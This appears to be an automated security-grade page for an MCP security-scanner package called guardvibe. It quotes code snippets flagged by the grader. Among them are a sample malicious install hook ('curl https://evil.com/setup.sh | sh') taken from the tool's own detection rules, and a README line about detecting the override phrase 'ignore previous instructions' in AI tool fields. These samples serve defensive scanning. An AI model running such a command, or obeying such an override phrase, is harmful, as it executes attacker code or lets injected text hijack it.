Grades are a hygiene check, not a security guarantee.

MCP, MCP server

guardvibe

Security infrastructure your AI can't be. No matter how good your coding agent gets, it can't know the CVE published after its training cutoff, it can't deterministically guarantee the same check every run, it can't hold your whole repo in context, and it can't objectivel

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

INSTALL_REMOTE_SCRIPT PERMISSION_SHELL_UNDECLARED AGENT_IGNORE_INSTRUCTIONS

Why this grade

  • INSTALL_REMOTE_SCRIPT High

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    src/data/rules/supply-chain.ts, line 219 wnload and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe - no remote execution in in

  • PERMISSION_SHELL_UNDECLARED Medium

    Runs shell commands that the manifest or description does not mention.

    src/data/rules/core.ts, line 84 awn() with array arguments. Python: use subprocess.run([...]) with list arguments, never shell

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    README.md, line 134 - **OWASP MCP Top 10 alignment** - `VG1068` flags MCP / AI tool definitions whose `description`, `instructions`, or `systemPrompt` fields carry prompt-injection markers (`ignore pr

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    requests shell access. No manifest field names shell or command execution.

    PERMISSION_SHELL_UNDECLARED

    src/data/rules/core.ts, line 84

    awn() with array arguments. Python: use subprocess.run([...]) with list arguments, never shell

    src/data/rules/go.ts, line 28

    fixCode: "// Validate input, use allowlist\ncmd := exec.Command(\"ls\", \"-la\", safeDir)",

    src/data/rules/cve-versions.ts, line 2127

    "`claude-code-templates --studio` starts an Express server on port 3444 that listens on all interfaces, answers every origin with Access-Control-Allow-Origin: *, and has no authent

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    src/data/rules/supply-chain.ts, line 219

    wnload and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe - no remote execution in in

    package.json, line 33

    prepare

  • Network

    Concern

    can reach www.cisa.gov. The description does not name that host. can reach a host that is not written as a fixed address. can reach registry.npmjs.org. The description does not name that host. can reach api.example.com. The description does not name that host. can reach .... The description does not name that host. can reach api.npmjs.org. The description does not name that host. can reach api.anthropic.com. The description does not name that host. can reach api.openai.com. The description does

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST NETWORK_NAMED_HOST

    scripts/intel-check.mjs, line 40

    const res = await fetch("https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", {

    scripts/intel-check.mjs, line 94

    const res = await fetch(url, { headers });

    scripts/intel-check.mjs, line 142

    const res = await fetch(`https://registry.npmjs.org/${name.replace("/", "%2f")}`, {

    Show more

    src/cli/init.ts, line 75

    - Never pass user-controlled URLs to fetch() without allowlist validation

    src/data/framework-guides.ts, line 140

    const res = await fetch(url, {

    src/data/framework-guides.ts, line 451

    const res = await fetch('/api/data', {

    src/data/rules/ai-security.ts, line 95

    ror("Blocked host");\nconst res = await fetch(parsed.toString());',

    src/data/rules/ai-security.ts, line 206

    t before LLM context\nconst raw = await fetch(url).then(r => r.text());\nconst sanitiz

    src/data/rules/dockerfile.ts, line 92

    'HEALTHCHECK --interval=30s --timeout=3s --retries=3 \\\n CMD curl -f http://localhost:3000/health || exit 1\n\nCMD ["node", "server.js"]',

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    scripts/intel-check.mjs, line 90

    if (process.env.GITHUB_TOKEN) headers.Authorization = `Bearer ${process.env.GITHUB_TOKEN}`;

    src/index.ts, line 289

    ripe, OpenAI, GitHub, Supabase), exposed .env files, and missing .gitignore coverage.

    src/index.ts, line 445

    n config files (next.config, middleware, .env, vercel.json) for cross-file security g

    Show more

    src/index.ts, line 858

    , credential exposure in shell profiles, .env file leaks, and environment variable sn

    src/index.ts, line 861

    scope: z.enum(["project", "host", "full"]).default("project").describe("Scan scope: project (.env files only), host (+ shell profiles, global configs), full (+ home dir)"),

    src/index.ts, line 876

    s application config files (next.config, .env, headers). Use scope=project (default)

    src/index.ts, line 879

    lt, .claude.json + .cursor/ + .vscode/ + .env), host (+ shell profiles + global MCP c

    src/cli/deep-scan.ts, line 58

    if (!process.env.ANTHROPIC_API_KEY && !process.env.OPENAI_API_KEY) {

    src/cli/remediation.ts, line 17

    { pattern: /\.env(\.\w+)?$/i, host: "Env" },

    src/cli/remediation.ts, line 35

    Env: "Remove the `ANTHROPIC_BASE_URL=...` line from the .env file, or add the URL to `trustedBaseUrls` in `.guardviberc`.",

    src/data/framework-guides.ts, line 105

    secret: process.env.SESSION_SECRET,

    src/data/framework-guides.ts, line 141

    headers: { Authorization: process.env.SECRET_KEY }

    src/data/framework-guides.ts, line 322

    process.env.JWT_SECRET,

    src/data/framework-guides.ts, line 326

    const payload = jwt.verify(token, process.env.JWT_SECRET);

    src/data/framework-guides.ts, line 661

    app.use('/api/*', bearerAuth({ token: process.env.API_TOKEN! }));

    src/data/framework-guides.ts, line 723

    const supabase = createClient(url, process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!);

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    README.md, line 134

    - **OWASP MCP Top 10 alignment** - `VG1068` flags MCP / AI tool definitions whose `description`, `instructions`, or `systemPrompt` fields carry prompt-injection markers (`ignore pr

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    src/data/rules/cve-versions.ts, line 1

    import type { SecurityRule } from "./types.js";

    tests/rules/cve-versions.test.ts, line 1

    import { describe, it } from "node:test";

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 17249c39bef9. requests shell access. No manifest field names shell or command execution. install fetches a script from the network. can reach www.cisa.gov. The description does not name that host. can reach a host that is not written as a fixed address. can reach registry.npmjs.org. The description does not name that host. can reach api.example.com. The description does not name that host. can reach .... The description does not name that host. can reach api.npmjs.org. The description does not name that host. can reach api.anthropic.com. The description does not name that host. can reach api.openai.com. The description does reads a credential or environ

Date and source

Date checked:

View source

github.com

Commit graded: 17249c39bef982f5f08e61bfa1afd6dfabd84332

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen